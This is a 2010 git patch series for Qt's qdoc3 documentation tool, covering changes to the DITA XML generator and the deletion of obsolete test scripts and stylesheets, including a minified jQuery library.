"xml" for this subclass of class Generator. */ QString DitaXmlGenerator::fileExtension(const Node * /* node */) const @@ -2231,6 +2285,7 @@ void DitaXmlGenerator::generateHeader(const Node* node, xmlWriter().writeStartElement(nameElement); // or <apiName> xmlWriter().writeCharacters(name); xmlWriter().writeEndElement(); // or + } /*! diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index aa8ca77..de949c2 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -136,6 +136,8 @@ class DitaXmlGenerator : public PageGenerator CodeMarker* marker, const QString& attribute = QString()); void writePropertyParameter(const QString& tag, const NodeList& nlist); + void writeRelatedLinks(const FakeNode* fake, CodeMarker* marker); + void writeLink(const Node* node, const QString& tex, const QString& role); private: enum SubTitleSize { SmallSubTitle, LargeSubTitle }; -- cgit v0.12 From e2cffa74190833621d82697325d5cbbbb2aaec85 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 5 Nov 2010 12:12:31 +0100 Subject: qdoc: First pass at generating a map. Some files are missing, and I don't know if the syntax is complete. But it's a start. Task-number: QTBUG-14981 --- tools/qdoc3/ditaxmlgenerator.cpp | 29 ++++++++++++++++++++++++++++- tools/qdoc3/ditaxmlgenerator.h | 1 + tools/qdoc3/pagegenerator.cpp | 7 +++---- 3 files changed, 32 insertions(+), 5 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index b69e731..bf7bd07 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -574,6 +574,7 @@ void DitaXmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) findAllSince(tree->root()); PageGenerator::generateTree(tree, marker); + writeDitaMap(); } void DitaXmlGenerator::startText(const Node* /* relative */, @@ -2285,7 +2286,6 @@ void DitaXmlGenerator::generateHeader(const Node* node, xmlWriter().writeStartElement(nameElement); // or <apiName> xmlWriter().writeCharacters(name); xmlWriter().writeEndElement(); // or - } /*! @@ -5573,4 +5573,31 @@ bool DitaXmlGenerator::canHandleFormat(const QString& format) return (format == "HTML") || (format == this->format()); } +void DitaXmlGenerator::writeDitaMap() +{ + beginSubPage(Location(),"qt-dita-map.xml"); + + QString doctype; + doctype = ""; + + xmlWriter().writeDTD(doctype); + xmlWriter().writeStartElement("cxxAPIMap"); + xmlWriter().writeAttribute("id","Qt-DITA-Map"); + xmlWriter().writeAttribute("title","Qt DITA Map"); + xmlWriter().writeStartElement("topicmeta"); + xmlWriter().writeStartElement("shortdesc"); + xmlWriter().writeCharacters("The top level map for the Qt documentation"); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + GuidMaps::iterator i = guidMaps.begin(); + while (i != guidMaps.end()) { + xmlWriter().writeStartElement("topicref"); + xmlWriter().writeAttribute("href",i.key()); + xmlWriter().writeAttribute("type","topic"); + xmlWriter().writeEndElement(); // + ++i; + } + endSubPage(); +} + QT_END_NAMESPACE diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index de949c2..6324204 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -270,6 +270,7 @@ class DitaXmlGenerator : public PageGenerator bool apiDesc, const QString& title); void addLink(const QString& href, const QStringRef& text); + void writeDitaMap(); private: QMap refMap; diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp index 6ba562c..ca98faa 100644 --- a/tools/qdoc3/pagegenerator.cpp +++ b/tools/qdoc3/pagegenerator.cpp @@ -289,11 +289,10 @@ QString PageGenerator::outFileName() void PageGenerator::beginSubPage(const Location& location, const QString& fileName) { - QFile *outFile = new QFile(outputDir() + "/" + fileName); + QFile* outFile = new QFile(outputDir() + "/" + fileName); if (!outFile->open(QFile::WriteOnly)) - location.fatal(tr("Cannot open output file '%1'") - .arg(outFile->fileName())); - QTextStream *out = new QTextStream(outFile); + location.fatal(tr("Cannot open output file '%1'").arg(outFile->fileName())); + QTextStream* out = new QTextStream(outFile); out->setCodec(outputCodec); outStreamStack.push(out); } -- cgit v0.12 From 8481135dfc7f19424ab9d94d5da986861e6f9c4f Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Sun, 7 Nov 2010 11:37:03 +0100 Subject: qdoc: Second pass at generating a map. All the files are there now. It outputs each element as a . We might want to output the entries for C++ classes, namespaces, and QML classes differently. But the validator is able to use this map to validate everything, and there are no errors. So until we get further instructions, this is it. Task-number: QTBUG-14981 --- tools/qdoc3/ditaxmlgenerator.cpp | 1 + 1 file changed, 1 insertion(+) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index bf7bd07..d275af2 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -5404,6 +5404,7 @@ void DitaXmlGenerator::beginSubPage(const Location& location, const QString& fileName) { PageGenerator::beginSubPage(location,fileName); + (void) lookupGuidMap(fileName); QXmlStreamWriter* writer = new QXmlStreamWriter(out().device()); xmlWriterStack.push(writer); writer->setAutoFormatting(true); -- cgit v0.12 From 2e71fd324eaab8ba08fd748a3dd1c8025a38da2a Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 9 Nov 2010 10:24:24 +0100 Subject: qdoc: Removed unused code. --- tools/qdoc3/ditaxmlgenerator.cpp | 113 --------------------------------------- tools/qdoc3/ditaxmlgenerator.h | 6 --- 2 files changed, 119 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index d275af2..e2b3ca1 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1977,49 +1977,6 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } -#if 0 - while (s != detailSections.end()) { - if ((*s).name == "Member Function Documentation") { - writeFunctions((*s),qcn,marker); - } - else if ((*s).name == "Member Type Documentation") { - writeEnumerations((*s),marker); - writeTypedefs((*s),marker); - } - else if ((*s).name == "Member Variable Documentation") { - writeDataMembers((*s),marker); - } - else if ((*s).name == "Property Documentation") { - writeProperties((*s),marker); - } - else if ((*s).name == "Macro Documentation") { - writeMacros((*s),marker); - } - ++s; - } -#endif -#if 0 - QString membersLink = generateListOfAllMemberFile(inner, marker); - QString obsoleteLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Obsolete); - QString compatLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Compat); - if (!membersLink.isEmpty() || - !obsoleteLink.isEmpty() || - !compatLink.isEmpty()) { - xmlWriter().writeStartElement("ul"); - if (!membersLink.isEmpty()) - writeXrefListItem(membersLink,"List of all members, including inherited members"); - if (!obsoleteLink.isEmpty()) - writeXrefListItem(obsoleteLink,"Obsolete members"); - if (!compatLink.isEmpty()) - writeXrefListItem(compatLink,"Qt 3 support members"); - xmlWriter().writeEndElement(); // - } -#endif - /*! Write a list item for a \a link with the given \a text. */ @@ -2289,38 +2246,6 @@ void DitaXmlGenerator::generateHeader(const Node* node, } /*! - Writes a \a title as a

    element with an \c {outputclass} - attribute of "h1 title". - - Also generates and writes a \a subTitle as a

    element, - if one is provided, but this probably doesn't work right. - */ -void DitaXmlGenerator::generateTitle(const QString& title, - const Text& subTitle, - SubTitleSize subTitleSize, - const Node* relative, - CodeMarker* marker) -{ - if (!title.isEmpty()) { - xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass", "h1 title"); - xmlWriter().writeCharacters(protectEnc(title)); - xmlWriter().writeEndElement(); //

    - } - if (!subTitle.isEmpty()) { - xmlWriter().writeStartElement("p"); - if (subTitleSize == SmallSubTitle) { - xmlWriter().writeAttribute("outputclass", "small-subtitle"); - } - else { - xmlWriter().writeAttribute("outputclass", "subtitle"); - } - generateText(subTitle, relative, marker); - xmlWriter().writeEndElement(); //

    - } -} - -/*! Outputs the \e brief command as a element. */ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) @@ -2548,44 +2473,6 @@ void DitaXmlGenerator::generateTableOfContents(const Node* node, inLink = false; } -QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode* inner, - CodeMarker* marker) -{ - QList
    sections; - QList
    ::ConstIterator s; - - sections = marker->sections(inner, - CodeMarker::SeparateList, - CodeMarker::Okay); - if (sections.isEmpty()) - return QString(); - - QString fileName = fileBase(inner) + "-members." + fileExtension(inner); - beginSubPage(inner->location(), fileName); - QString title = "List of All Members for " + inner->name(); - generateHeader(inner, title, true); - xmlWriter().writeStartElement("body"); - xmlWriter().writeStartElement("section"); - if (!title.isEmpty()) { - xmlWriter().writeStartElement("title"); - xmlWriter().writeAttribute("outputclass", "h1"); - xmlWriter().writeCharacters(protectEnc(title)); - xmlWriter().writeEndElement(); // - } - xmlWriter().writeStartElement("p"); - xmlWriter().writeCharacters("This is the complete list of members for "); - generateFullName(inner, 0, marker); - xmlWriter().writeCharacters(", including inherited members."); - xmlWriter().writeEndElement(); //

    - - Section section = sections.first(); - generateSection(section.members, 0, marker, CodeMarker::SeparateList); - xmlWriter().writeEndElement(); //
    - xmlWriter().writeEndElement(); // - endSubPage(); - return fileName; -} - void DitaXmlGenerator::generateLowStatusMembers(const InnerNode* inner, CodeMarker* marker, CodeMarker::Status status) diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 6324204..29ec546 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -150,11 +150,6 @@ class DitaXmlGenerator : public PageGenerator void generateHeader(const Node* node, const QString& name, bool subpage = false); - void generateTitle(const QString& title, - const Text& subTitle, - SubTitleSize subTitleSize, - const Node* relative, - CodeMarker* marker); void generateBrief(const Node* node, CodeMarker* marker); void generateIncludes(const InnerNode* inner, CodeMarker* marker); void generateTableOfContents(const Node* node, @@ -165,7 +160,6 @@ class DitaXmlGenerator : public PageGenerator void generateTableOfContents(const Node* node, CodeMarker* marker, QList
    * sections = 0); - QString generateListOfAllMemberFile(const InnerNode* inner, CodeMarker* marker); void generateLowStatusMembers(const InnerNode* inner, CodeMarker* marker, CodeMarker::Status status); -- cgit v0.12 From 2f5fe525c5d9ac142571c39c215386675ee79899 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 9 Nov 2010 13:47:56 +0100 Subject: Qt Commercial Edition Information about the license and features of the Commercial Edition.

    Information about the license and features of the Commercial Edition.

    Qt can be used to develop closed source software if you obtain a commercial license.

    If you want to develop Free or Open Source software for release using a recognized Open Source license, you can use the Open Source Versions of Qt.

    The table below summarizes the differences between the two commercial editions:

    Please see the list of supported platforms for up-to-date information about the various platforms and compilers that Qt supports.

    On the Qt web site, you can find a Qt Licensing Overview and information on Qt License Pricing for commercial editions of Qt and other Qt-related products.

    To purchase, please visit the online order form.

    For further information and assistance, please contact Qt sales.

    Web: http://qt.nokia.com/contact.

    Phone, U.S&#x2e; office (for North America): 1-650-813-1676.

    Phone, Norway office (for the rest of the world): +47 21 60 48 00.

    --- tools/qdoc3/ditaxmlgenerator.cpp | 64 +++++++--------------------------------- tools/qdoc3/ditaxmlgenerator.h | 5 +--- 2 files changed, 11 insertions(+), 58 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index e2b3ca1..00ec8fd 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -639,7 +639,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, const Node* node = 0; QString link = getLink(atom, relative, marker, &node); if (!link.isEmpty()) { - beginLink(link, node, relative, marker); + beginLink(link); generateLink(atom, relative, marker); endLink(); } @@ -1091,7 +1091,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, .arg(marker->plainFullName(relative))); } else if (!inSectionHeading) { - beginLink(myLink, node, relative, marker); + beginLink(myLink); } #if 0 else { @@ -1107,14 +1107,14 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, #if 0 qDebug() << "GUID LINK:" << atom->string() << outFileName(); #endif - beginLink(atom->string(), 0, relative, marker); + beginLink(atom->string()); skipAhead = 1; } break; case Atom::LinkNode: { const Node* node = CodeMarker::nodeForString(atom->string()); - beginLink(linkForNode(node, relative), node, relative, marker); + beginLink(linkForNode(node, relative)); skipAhead = 1; } break; @@ -1476,7 +1476,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::UnknownCommand: xmlWriter().writeStartElement("b"); - xmlWriter().writeAttribute("outputclass","redFont code"); + xmlWriter().writeAttribute("outputclass","error unknown-command"); xmlWriter().writeCharacters(protectEnc(atom->string())); xmlWriter().writeEndElement(); // break; @@ -3701,20 +3701,6 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, actualNode = apparentNode; xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",linkForNode(actualNode, relative)); -#if 0 - if (true || relative == 0 || relative->status() != actualNode->status()) { - switch (actualNode->status()) { - case Node::Obsolete: - xmlWriter().writeAttribute("outputclass","obsolete"); - break; - case Node::Compat: - xmlWriter().writeAttribute("outputclass","compat"); - break; - default: - break; - } - } -#endif xmlWriter().writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); xmlWriter().writeEndElement(); // } @@ -4194,41 +4180,13 @@ void DitaXmlGenerator::generateStatus(const Node* node, CodeMarker* marker) } } -void DitaXmlGenerator::beginLink(const QString& link, - const Node* node, - const Node* relative, - CodeMarker* marker) +void DitaXmlGenerator::beginLink(const QString& link) { - Q_UNUSED(marker) - Q_UNUSED(relative) - this->link = link; - if (link.isEmpty()) { - if (showBrokenLinks) - xmlWriter().writeStartElement("i"); - } - else if (node == 0 || (relative != 0 && - node->status() == relative->status())) { - xmlWriter().writeStartElement("xref"); - xmlWriter().writeAttribute("href",link); - } - else { - switch (node->status()) { - case Node::Obsolete: - xmlWriter().writeStartElement("xref"); - xmlWriter().writeAttribute("href",link); - //xmlWriter().writeAttribute("outputclass","obsolete"); - break; - case Node::Compat: - xmlWriter().writeStartElement("xref"); - xmlWriter().writeAttribute("href",link); - //xmlWriter().writeAttribute("outputclass","compat"); - break; - default: - xmlWriter().writeStartElement("xref"); - xmlWriter().writeAttribute("href",link); - } - } + if (link.isEmpty()) + return; + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",link); inLink = true; } @@ -4356,7 +4314,6 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn, if (n && n->subType() == Node::QmlClass) { const QmlClassNode* qcn = static_cast(n); xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","centerAlign"); Text text; text << "[Inherits "; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn)); @@ -4404,7 +4361,6 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, const ClassNode* cn = qcn->classNode(); if (cn && (cn->status() != Node::Internal)) { xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","centerAlign"); Text text; text << "["; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn)); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 29ec546..427264c 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -245,10 +245,7 @@ class DitaXmlGenerator : public PageGenerator #ifdef GENERATE_MAC_REFS void generateMacRef(const Node* node, CodeMarker* marker); #endif - void beginLink(const QString& link, - const Node* node, - const Node* relative, - CodeMarker* marker); + void beginLink(const QString& link); void endLink(); QString writeGuidAttribute(QString text); void writeGuidAttribute(Node* node); -- cgit v0.12 From 6d111857f094e4c5f2ed3e297c5ec25c16a2a06c Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 10 Nov 2010 13:27:10 +0100 Subject: qdoc: Removed unused code. --- tools/qdoc3/ditaxmlgenerator.cpp | 75 ---------------------------------------- tools/qdoc3/ditaxmlgenerator.h | 3 -- 2 files changed, 78 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 00ec8fd..90f2997 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -3705,81 +3705,6 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, xmlWriter().writeEndElement(); // } -void DitaXmlGenerator::generateDetailedMember(Node* node, - const InnerNode* relative, - CodeMarker* marker) -{ - QString marked; - const EnumNode* en; - - if ((node->type() == Node::Enum) && - (en = static_cast(node))->flagsType()) { - xmlWriter().writeStartElement("p"); - writeGuidAttribute(node); - xmlWriter().writeAttribute("outputclass","h3 flags"); - marked = getMarkedUpSynopsis(en, relative, marker, CodeMarker::Detailed); - writeText(marked, marker, relative); - xmlWriter().writeCharacters("\n"); - marked = getMarkedUpSynopsis(en->flagsType(),relative,marker,CodeMarker::Detailed); - writeText(marked,marker,relative); - xmlWriter().writeEndElement(); //

    - } - else { - xmlWriter().writeStartElement("p"); - writeGuidAttribute(node); - xmlWriter().writeAttribute("outputclass","h3 fn"); - marked = getMarkedUpSynopsis(node, relative, marker, CodeMarker::Detailed); - writeText(marked, marker, relative); - xmlWriter().writeEndElement(); //

    - } - - generateStatus(node, marker); - generateBody(node, marker); - generateThreadSafeness(node, marker); - generateSince(node, marker); - - if (node->type() == Node::Property) { - const PropertyNode *property = static_cast(node); - Section section; - - section.members += property->getters(); - section.members += property->setters(); - section.members += property->resetters(); - - if (!section.members.isEmpty()) { - xmlWriter().writeStartElement("p"); - xmlWriter().writeCharacters("Access functions:"); - xmlWriter().writeEndElement(); //

    - generateSection(section.members, node, marker, CodeMarker::Accessors); - } - - Section notifiers; - notifiers.members += property->notifiers(); - - if (!notifiers.members.isEmpty()) { - xmlWriter().writeStartElement("p"); - xmlWriter().writeCharacters("Notifier signal:"); - xmlWriter().writeEndElement(); //

    - generateSection(notifiers.members, node, marker, CodeMarker::Accessors); - } - } - else if (node->type() == Node::Enum) { - en = static_cast(node); - if (en->flagsType()) { - xmlWriter().writeStartElement("p"); - QString text = "The " + protectEnc(en->flagsType()->name()) + - " type is a typedef for " + - "QFlags<" + - protectEnc(en->name()) + - ">. It stores an OR combination of " + - protectEnc(en->name()) + " values."; - xmlWriter().writeCharacters(text); - xmlWriter().writeEndElement(); //

    - } - } - generateAlsoList(node, marker); -} - void DitaXmlGenerator::findAllClasses(const InnerNode* node) { NodeList::const_iterator c = node->childNodes().constBegin(); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 427264c..b13fa49 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -217,9 +217,6 @@ class DitaXmlGenerator : public PageGenerator const Node* relative, CodeMarker* marker, const Node* actualNode = 0); - void generateDetailedMember(Node* node, - const InnerNode* relative, - CodeMarker* marker); void generateLink(const Atom* atom, const Node* relative, CodeMarker* marker); -- cgit v0.12 From 8256a4dfe14b214f517d35178e70f2613131ae99 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 10 Nov 2010 14:10:31 +0100 Subject: qdoc: Changed some outputclass attributes. --- tools/qdoc3/ditaxmlgenerator.cpp | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 90f2997..aace05a 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -4239,6 +4239,7 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn, if (n && n->subType() == Node::QmlClass) { const QmlClassNode* qcn = static_cast(n); xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","inherits"); Text text; text << "[Inherits "; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn)); @@ -4286,6 +4287,7 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, const ClassNode* cn = qcn->classNode(); if (cn && (cn->status() != Node::Internal)) { xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","instantiates"); Text text; text << "["; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn)); @@ -4311,13 +4313,13 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, is set to Node::Internal, do nothing. */ void DitaXmlGenerator::generateInstantiatedBy(const ClassNode* cn, - CodeMarker* marker) + CodeMarker* marker) { if (cn && cn->status() != Node::Internal && !cn->qmlElement().isEmpty()) { const Node* n = myTree->root()->findNode(cn->qmlElement(),Node::Fake); if (n && n->subType() == Node::QmlClass) { xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","centerAlign"); + xmlWriter().writeAttribute("outputclass","instantiated-by"); Text text; text << "["; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(cn)); -- cgit v0.12 From 466953c0504ec8d84115af4723d6039b21a98ed1 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 10 Nov 2010 14:14:35 +0100 Subject: Removed obsolete files. Apparently, these files are no longer used, being duplicates of those in doc/src/template. --- tools/qdoc3/test/scripts/functions.js | 60 -- tools/qdoc3/test/scripts/jquery.js | 152 ----- tools/qdoc3/test/style/style.css | 1051 --------------------------------- tools/qdoc3/test/style/style_ie6.css | 54 -- tools/qdoc3/test/style/style_ie7.css | 19 - tools/qdoc3/test/style/style_ie8.css | 0 6 files changed, 1336 deletions(-) delete mode 100644 tools/qdoc3/test/scripts/functions.js delete mode 100644 tools/qdoc3/test/scripts/jquery.js delete mode 100644 tools/qdoc3/test/style/style.css delete mode 100644 tools/qdoc3/test/style/style_ie6.css delete mode 100644 tools/qdoc3/test/style/style_ie7.css delete mode 100644 tools/qdoc3/test/style/style_ie8.css diff --git a/tools/qdoc3/test/scripts/functions.js b/tools/qdoc3/test/scripts/functions.js deleted file mode 100644 index 0135427..0000000 --- a/tools/qdoc3/test/scripts/functions.js +++ /dev/null @@ -1,60 +0,0 @@ - -/* START non link areas where cursor should change to pointing hand */ -$('.t_button').mouseover(function() { - $('.t_button').css('cursor','pointer'); - /*document.getElementById(this.id).style.cursor='pointer';*/ -}); - -/* END non link areas */ -$('#smallA').click(function() { - $('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('font-size','smaller'); - $('.t_button').removeClass('active') - $(this).addClass('active') -}); - -$('#medA').click(function() { - $('.content .heading').css('font','600 16px/1 Arial'); - $('.content h1').css('font','600 18px/1.2 Arial'); - $('.content h2').css('font','600 16px/1.2 Arial'); - $('.content h3').css('font','600 14px/1.2 Arial'); - $('.content p').css('font','13px/20px Verdana'); - $('.content li').css('font','400 13px/1 Verdana'); - $('.content li').css('line-height','14px'); - $('.content table').css('font','13px/1.2 Verdana'); - $('.content .heading').css('font','600 16px/1 Arial'); - $('.content .indexboxcont li').css('font','600 13px/1 Verdana'); - $('.t_button').removeClass('active') - $(this).addClass('active') -}); - -$('#bigA').click(function() { - $('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('font-size','large'); - $('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('line-height','25px'); - $('.t_button').removeClass('active') - $(this).addClass('active') -}); - -function doSearch(str){ - -if (str.length>3) - { - alert('start search'); - // document.getElementById("refWrapper").innerHTML=""; - return; - } - else - return; - -// var url="indexSearch.php"; -// url=url+"?q="+str; - // url=url+"&sid="+Math.random(); - // var url="http://localhost:8983/solr/select?"; - // url=url+"&q="+str; - // url=url+"&fq=&start=0&rows=10&fl=&qt=&wt=&explainOther=&hl.fl="; - - // $.get(url, function(data){ - // alert(data); - // document.getElementById("refWrapper").innerHTML=data; - //}); - -} \ No newline at end of file diff --git a/tools/qdoc3/test/scripts/jquery.js b/tools/qdoc3/test/scripts/jquery.js deleted file mode 100644 index 0c7294c..0000000 --- a/tools/qdoc3/test/scripts/jquery.js +++ /dev/null @@ -1,152 +0,0 @@ -/*! - * jQuery JavaScript Library v1.4.1 - * http://jquery.com/ - * - * Copyright 2010, John Resig - * Dual licensed under the MIT or GPL Version 2 licenses. - * http://jquery.org/license - * - * Includes Sizzle.js - * http://sizzlejs.com/ - * Copyright 2010, The Dojo Foundation - * Released under the MIT, BSD, and GPL Licenses. - * - * Date: Mon Jan 25 19:43:33 2010 -0500 - */ -(function(z,v){function la(){if(!c.isReady){try{r.documentElement.doScroll("left")}catch(a){setTimeout(la,1);return}c.ready()}}function Ma(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,i){var j=a.length;if(typeof b==="object"){for(var n in b)X(a,n,b[n],f,e,d);return a}if(d!==v){f=!i&&f&&c.isFunction(d);for(n=0;n-1){i=j.data;i.beforeFilter&&i.beforeFilter[a.type]&&!i.beforeFilter[a.type](a)||f.push(j.selector)}else delete x[o]}i=c(a.target).closest(f, -a.currentTarget);m=0;for(s=i.length;m)[^>]*$|^#([\w-]+)$/,Qa=/^.[^:#\[\.,]*$/,Ra=/\S/,Sa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Ta=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,O=navigator.userAgent, -va=false,P=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,Q=Array.prototype.slice,wa=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(typeof a==="string")if((d=Pa.exec(a))&&(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:r;if(a=Ta.exec(a))if(c.isPlainObject(b)){a=[r.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=ra([d[1]], -[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}}else{if(b=r.getElementById(d[2])){if(b.id!==d[2])return S.find(a);this.length=1;this[0]=b}this.context=r;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=r;a=r.getElementsByTagName(a)}else return!b||b.jquery?(b||S).find(a):c(b).find(a);else if(c.isFunction(a))return S.ready(a);if(a.selector!==v){this.selector=a.selector;this.context=a.context}return c.isArray(a)?this.setArray(a):c.makeArray(a, -this)},selector:"",jquery:"1.4.1",length:0,size:function(){return this.length},toArray:function(){return Q.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){a=c(a||null);a.prevObject=this;a.context=this.context;if(b==="find")a.selector=this.selector+(this.selector?" ":"")+d;else if(b)a.selector=this.selector+"."+b+"("+d+")";return a},setArray:function(a){this.length=0;ba.apply(this,a);return this},each:function(a,b){return c.each(this, -a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(r,c);else P&&P.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(Q.apply(this,arguments),"slice",Q.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this,function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice}; -c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,i,j,n;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b
    a";var e=d.getElementsByTagName("*"),i=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!i)){c.support= -{leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(i.getAttribute("style")),hrefNormalized:i.getAttribute("href")==="/a",opacity:/^0.55$/.test(i.style.opacity),cssFloat:!!i.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:r.createElement("select").appendChild(r.createElement("option")).selected,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null}; -b.type="text/javascript";try{b.appendChild(r.createTextNode("window."+f+"=1;"))}catch(j){}a.insertBefore(b,a.firstChild);if(z[f]){c.support.scriptEval=true;delete z[f]}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function n(){c.support.noCloneEvent=false;d.detachEvent("onclick",n)});d.cloneNode(true).fireEvent("onclick")}d=r.createElement("div");d.innerHTML="";a=r.createDocumentFragment();a.appendChild(d.firstChild); -c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var n=r.createElement("div");n.style.width=n.style.paddingLeft="1px";r.body.appendChild(n);c.boxModel=c.support.boxModel=n.offsetWidth===2;r.body.removeChild(n).style.display="none"});a=function(n){var o=r.createElement("div");n="on"+n;var m=n in o;if(!m){o.setAttribute(n,"return;");m=typeof o[n]==="function"}return m};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=i=null}})();c.props= -{"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var 